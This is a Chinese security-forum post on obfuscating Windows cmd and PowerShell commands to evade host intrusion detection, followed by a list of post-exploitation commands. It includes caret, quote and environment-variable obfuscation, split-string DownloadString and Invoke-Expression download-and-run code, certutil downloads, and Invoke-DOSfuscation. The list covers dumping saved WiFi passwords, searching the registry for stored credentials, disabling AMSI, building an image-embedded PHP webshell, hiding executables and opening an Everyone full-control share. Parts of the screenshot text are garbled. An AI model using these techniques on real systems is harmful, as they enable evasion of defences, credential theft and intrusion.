浅谈命令混淆 - 先知社区

66 先知社区, 先知安全技术社区

此前一个朋友问到,客服的 hids 设备执行 whoami,被检测到,无论是执行 wh"o"aMⁱ,还是执行 cmd /c ",; ((w^ho^aMⁱ))"都会被检测到,于是向我求助,既然提到了这里,阿鑫就在这里简单总结一下我自己的一些方法吧,但是会的 方法有比较少,后面在补充几个 cmd/powershell 平时常用的命令

(1)特殊符号 / 大小写我们的 " 双引号, ^ 尖角号, 括号, 逗号, 分号, 只能绕过一些常规的



(https://xzfile.aliyuncs.com/media/upload/picture/20211214204033-0736eb60-5cdb-1.png)

也可以用一些非主流特殊字符串

certutil / #split -ur lcache - f http://192.168.1.102:1337/axgg.txt (http://192.168.1.102:1337/axgg.txt) axgg.txt



(https://xzfile.aliyuncs.com/media/upload/picture/20211214215915-06169766-5ce6-1.png)

(2) 环境变量

当我们拿到一台机器 可以先 set 看看有哪些环境变量



(https://xzfile.aliyuncs.com/media/upload/picture/20211214204340-76c6403e-5cdb-1.png) 就这样,%comspec:~3,1%hoa%comspec:~21,1%i,用我们环境变量的字母替换了w和m



(https://xzfile.aliyuncs.com/media/upload/picture/20211214204518-b160f7e8-5cdb-1.png)

稍微解释哈,这里用环境变量截取字母第三位和第二十一位的 w 和 m 来绕过

当然,我们也可以自己设置环境变量,来达到绕过

set a=cmd /c whoami

%a% 即可

环境变量当然也可以配合我们的各类特殊符号, " 双引号, ^ 尖角号, 括号, 逗号, 分号组合在一起, 也是可以达到同样的效果的, cmd /c "set a1=ser&& set a2=ne&& set a3=t u&&call echo %a2%%a3%%a1%"

^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) ,)&& (S^Et ^ eH^P=n^fig)& , , C^aLl, sE^t GyHE=%w^3%%eH^P%& , , %LoCaLAPpdata:~ -3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"

C:\Users\xinxin>^c^M^D, , , , /^c", ,(, , , , , (s^et ^ w^3=i^pco) ,)&& (S^Et ^ eH^P=n^fig)&, , C^aL1, %eH^P%& , , %LoCaLAPpdata: ~3,+1%%pRoGramw6432:~9,1%d, ,/^R, , %Gy^HE%"	sEît GyHE=%wî3%
₩indows IP 配置	
以太网适配器 SSTAP 1:	
媒体状态	
以太网适配器 EthernetO:	
连接特定的 DNS 后缀 : localdomain 本地链接 IPv6 地址 : fe80::7d33:cc72:11a7:1a46%2 IPv4 地址 : 192.168.149.181	
子网掩码	▶ 先知社区

(https://xzfile.aliyuncs.com/media/upload/picture/20211214212432-2ca70e4c-5ce1-1.png)

(3) for 循环,这个单独用很鸡肋

for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f

delims 是以 \ 分割, tokens 是第几次分割,我们的第四次分割就是 whoami,然后打印

C:\Users\xinxin>for /f "tokens=4 delims=\" %f in ("c:\windows\system32\whoami\") do %f

(https://xzfile.aliyuncs.com/media/upload/picture/20211214212108-b2e7bff2-5ce0-1.png)

(4) 利用 powershell

利用 powershell 的 base64 编码



(https://xzfile.aliyuncs.com/media/upload/picture/20211214214351-df65f582-5ce3-1.png)

当然,还可以 fuzzing 一下低版本的 powershell

powershell -version 3/2/1

利用 windows 的 api

Get-WmiObject -Class Win32_UserAccount // 怎么绕,也可以用前面的特殊符号和环境变量

PS C:\Users\]	7> Get-WmiObject -Class Win32_UserAccount
AccountType : Caption . Domain : SID : FullName . Name :	L TOD S 21-40002 1 27
AccountType : Caption Domain SID . FullName : Name :	A there
AccountType : Caption : Domain : SID : FullName : Name :	512 - tot plant S-1-5
AccountType : Caption : Domain : SID :	2 Lar est I S=1-5-21 2024500

FullName Name	: : Guest	
AccountType Caption Domain SID	: 512 : L/ : L/	
FullName Name	: WDAGUUL	▶ 先知社区

(https://xzfile.aliyuncs.com/media/upload/picture/20211214214731-625ef0f6-5ce4-1.png)

利用注册表

dir "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" -Name

C:\Users\19627> dir "Registry::HKEY CURRENT USER\Software\Microsoft\Terminal Server Client\Servers" -Name 192.168.149.135 PS C:\Users\19627>

▶ 先知社区

(https://xzfile.aliyuncs.com/media/upload/picture/20211214214842-8ce6d3e8-5ce4-1.png) 既然说到了 powershell,这儿就简单提一提 powershell 的混淆思路,我就直接截图吧,比较简陋

\$a = \$a.ToCharArray() [Array]::Reverse(\$a) -join \$a 特殊符号 反引号: Inv`o`ke-Ex`pr`e`s`sion 引号: DownloadString('ht'+'tp:'+'//127.0'+'.0.1:13'+'3'+'7/'+'ax'+'xg.t'+'xt')

(https://xzfile.aliyuncs.com/media/upload/picture/20211214220213-7026b9ba-5ce6-1.png)

(5)运用工具 Dosfuscation
Invoke-DOSfuscation // 启动
TUTORIAL // 开启模块
SET COMMAND whoami // 加密你想执行的命令

uccessfully set Command:	🖬 C:\Windows\System32\cmd.exe – 🗆 🗙
	Microsoft Windows [版本 10.0.18363.1916] (c) 2019 Microsoft Corporation。保留所有权利。
oose one of the below <mark>options:</mark>	C:\xinxin\tool\pentest\\\Invoke-DOSfuscation-master>start powershell
BINARY Obfuscated binary syntax for cmd.exe & powershell.exe BKCODING Environment variable encoding PAYLOAD Obfuscated payload via DOSfuscation	C:\xinxin\tool\pentest\`\Invoke-DOSfuscation-master>`c`Mid, , , /^V`:o, , , /^r " ,, (`SeT ^ ^Q^fK=EBi^fgmp4^ag`X` oX3 h jXw)& , , fo`K ,, /^L , %`a , in, (17 , ^,, ^-3 , ^2) , D`o ,, (, (, , , Se`t H4`k`E =!`H`4`k`E!!`Q`fK:`%`a,1!) ,),)&& , , if , %`a ,,, , , equ , , ,+2 , (`CALL , %`H`4`k`E:`^-6%)"
woke-DOSfuscation> PAYLOAD	C:\xinxin\tool\pentest\ {\Invoke-DOSfuscation-master>(((Set H4kE=!H4kE!!QfK:~17,1!))) && if 17 EQU +2 (CALL, %H4kE:~-6%)
oose one of the below Payload options:	C:\xinxin\tool\pentest\\Invoke-DOSfuscation-master>(((Set H4kE=!H4kE!!QfK:~14,1!))) && if 14 EQU +2 (CALL , %H4kE:~-6%)
] PAYLOADYCONNCAT Concatenation obfuscation PAYLOADYREVERSE Reverse command FOR-loop obfuscation PAYLOADYREVOODE FOR-loop encoding obfuscation	C:\xinxin\tool\pentest\ \\Invoke-DOSfuscation-master>(((Set H4kE=!H4kE!!QfK:~11,1!))) && if 11 EQU +2 (CALL , %H4kE:~-6%)
] PAYLOAD\FINCODE FIN-style string replacement obfuscation	C:\xinxin\tool\pentest\ Invoke-DOSfuscation-master>(((Set H4kE=!H4kE!!QfK:~8,1!))) && if 8 EQU +2 (CALL, %H 4kE: -6%)
ske-DOSfuscation\Payload> reverse	C:\xinxin\tool\pentest\Invoke-DOSfuscation-master>(((Set H4kE=!H4kE!!QfK:~5,1!))) && if 5 EQU +2 (CALL, %H 4kE: -6%)
ose one of the below Payload\Reverse options to APPLY to current payload:	C:\xinxin\tool\pentest\ [nvoke-DOSfuscation-master>(((Set H4kE:!H4kE!!QfK:^2,1!))) && if 2 EQU +2 (CALL, %H
PAYLOAD\REVERSE\1 Basic obfuscation PAYLOAD\REVERSE\2 Medium obfuscation	4kE:~-6%) desktop-5qfkb75\xinxin
PAYLOAD\REVERSE\3 Intense obfuscation	C:\xinxin\tool\pentest\Invoke-DOSfuscation-master>
cuted: L1: Payload\Reverse\2 U1: Distancesered_command =Command =Objuscitical.cus1 2	

▼▲ フロスHキエピ

(https://xzfile.aliyuncs.com/media/upload/picture/20211214220334-a047aa96-5ce6-1.png)

(1)主机信息

qwinsta	//查看在线用户		
<pre>wmic logicaldisk where DriveType=3 get DeviceII</pre>	D //查看系统的盘符		
wmic useraccount get name,sid	//查看所有用户的sid		
cacls c:\	//查看c盘的权限配额		
cacls c:\windows\ma.exe //查看m	na.exe的权限配置		
icacls C:\Windows	/查看文件的ACL情况		
nbtstat -A 127.0.0.1	/查看其他主机的bios名		
Get-WmiObject - class win32_product Select-Object -Property name,version: 收集主机的软件版本信息			
(Get-ItemProperty -Path "Registry::HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\192.168.149.135"			
).UsernameHint //本机哪个用户登陆了此IP			
<pre>Get-WinEvent -FilterHashtable @{logname="Applic</pre>	cation";} 查看application日志		
Get-CimInstance Win32_DCOMApplication //查	后看DCOM文件		

(2)横向信息

netsh wlan **show** profile //查看连结过的wifi netsh wlan **show** profile WiFi-**name key=clear** 获取对应 wifi 的密码ie 代理 //对应wifi的密码 for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan s how profiles %j key=clear //所有wifi密码 for /l %i in (1,1,255) do @ping 172.16.0.%i -w 1 -n 1 | find "TTL=" //windows自带的网 段扫描 for /l %a in (0,1,2) do cmd /c "choice /t 7 /d y /n >nul" & for /l %b in (1,1,255) do start cmd /c "ping 172.29.%a.%b -l 1 -n 1 -i 1 >172.29.%a.%b.txt" //多线程版 findstr /s /m "password" *.* //查找当前目录的子目录的所有含有password的文件 夹 dir c:\a.txt /s /b //查找c盘的a.txt **Get-Content** (**Get**-PSReadlineOption).HistorySavePath //powershell命令历史记录,如果命令用不起, 可以查看powershell的txt %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt %appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt 注册表 HKEY CURRENT USER\Software\Microsoft\Terminal Server Client\Servers 这个为当前用户的mstsc的记录, userna me为用户名 HKEY_CURRENT_USER\Software\Microsoft\Windows Script\Settings\AmsiEnable 禁用AMSI(需要高权限) HKEY_CURRENT_USER\Software\PremiumSoft\Navicat\Servers\<your connection name> MYSOL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMARIADB\Servers\<your connection name> MariaDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMONGODB\Servers\<your connection name> MongoDB HKEY_CURRENT_USER\Software\PremiumSoft\NavicatMSSQL\Servers\<your connection name> Microsoft SOL HKEY_CURRENT_USER\Software\PremiumSoft\NavicatOra\Servers\<your connection name> Oracle HKEY_CURRENT_USER\Software\PremiumSoft\NavicatPG\Servers\<your connection name> PostgreSQL

COL 2 1

HIVEN CURRENT HEERS C. C.

HKEY_CUKKENI_USEK\Software\PremlumSoft\Navlcat	SQLite\Servers\ <your< th=""><th>connection name></th><th>SQLITE</th><th></th></your<>	connection name>	SQLITE	
HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver	RealVNC			
HKEY_CURRENT_USER\Software\TightVNC\ Server Va	i lue //Tigh [.]	tVNC		
HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4	TigerVNC			
HKCU\Software\Martin Prikryl\WinSCP 2\Session	us WinSCP			
<pre>reg query "HKEY_CURRENT_USER\Software\Microsof</pre>	t\Windows\CurrentVers	ion\Explorer\User Shell	Folders" /s	//查
看桌面目录				
reg query 计算机\HKEY_CURRENT_USER\Software\Mic	rosoft\Internet Explo	rer\TypedURLs	//查看浏览记录	
查找本机所有有关密码的字段				
reg query HKCU /f password /t REG_SZ /s				

reg query HKLM /f password /t REG_SZ /s

C: xgg.t "t	
C:\Users\xinxin\Desktop>reg query HKCU /f password /t REG_SZ /s	
HKEY_CURRENT_USER\Software\Bome_Software\Restorator\Registration Password REG_SZ 7yMrrhG67NU-z-y" f0Nk8L+Bug7s 2LRtRIivhOF2TmTwaaiL06	`lkxknF+Jj
HKEY_CURRENT_USER\Software\King \````````````````````````````````````	犬认用户名密码速
HKEY_CURRENT_USER\Software\Kingsoft\0f***_^6_0\et\RecentFiles\files_bak\7 path REG_SZ C:\Users\xinxin\ucuut*s 查表.xlsx	⊱品默认用户名密码速
HKEY_CURRENT_USER\Software\Kingsoft\Office\6.0\et\RecentFiles\Sequence C:/Users/xinxin/Desktop/fuzzで、 1611628722	基查表.x1sx REG_SZ
HKEY_CURRENT_USER\Software\Microsoft\"	
HKEY_CURRENT_USER\Software\Micros 'W' \ \Winlogon\PasswordExpiryNotification NotShownReason REG_SZ PasswordCorput	
HKEY_CURRENT_USER\Software\Passcape\WPR	

(https://xzfile.aliyuncs.com/media/upload/picture/20211214220857-60ecdff0-5ce7-1.png)

copy x.jpg/b+12.php 3.jpg //制作一句话 iexpress //windows自带的解压命令 makecab.exe //windows 自带的压缩命令 makecab 1.doc 1.zip //压缩成啥看自己, zip,rar,cab expand 1.zip 1.doc //解压命令 dir /b >>name.txt //先把要解压的多个文件名写入txt makecab /f name.txt /d maxdisksize=1024000 //然后压缩 expand 1.cab -f:* c:\test\ //然后解压 set http_proxy=http://127.0.0.1:1080 //给cmd代理 secpol.msc //打开本地安全策略 taskkill /pid 1080 /f //关闭讲程 copy *.txt 1.txt //将该目录下的所有txt复制到1.txt,然后查看1.txt type 1.txt mstsc /admin /v:ip mstsc /console /v:ip //远程连接 certutil.exe -hashfile 1.txt //计算文件hash attrib C:\test.exe +s +h //隐藏exe >>b.txt set/p="123" < nul //关于echo >>追加下一个字符串自动换行,绕过/n的限制 net share everyone=C:\Windows /grant:everyone,full //开启共享 echo 123 > axgg::\$INDEX_ALLOCATION //文件流创建文件 rd axgg::\$INDEX_ALLOCATION //删除改文件

若文章有错误亦或者遗漏的技巧,还望各位师傅斧正和补充